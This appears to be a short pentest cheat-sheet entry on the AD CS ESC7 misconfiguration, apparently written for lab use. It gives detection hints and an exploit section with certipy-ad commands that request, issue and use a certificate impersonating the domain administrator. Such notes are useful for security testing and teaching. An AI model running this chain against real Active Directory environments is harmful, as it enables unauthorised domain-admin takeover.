ESC7 — Vulnerable CA Access Control

External: Hacker Recipes — ESC7

External: Internal All The Things — Certificate ESC7

Idea: ManageCA or ManageCertificates on CA → approve pending requests or issue certs directly.

Permission context → AD CS Permissions

Detect

grep -i ESC7 *_Certipy.txt
# BloodHound: ManageCA / ManageCertificates on CA object

Exploit

# Submit request (may pend approval)
certipy-ad req -u user@domain.htb -p 'PASS' -dc-ip DC_IP \
  -ca CA_NAME -template User -upn administrator@domain.htb
 
# Approve / issue (if you have ManageCertificates)
certipy-ad ca -u user@domain.htb -p 'PASS' -dc-ip DC_IP \
  -ca CA_NAME -issue-request REQUEST_ID
 
certipy-ad auth -pfx administrator.pfx -domain domain.htb

See Hacker Recipes for full ESC7 sub-steps.

→ Certipy & Certify · AD CS ESC · AD CS Permissions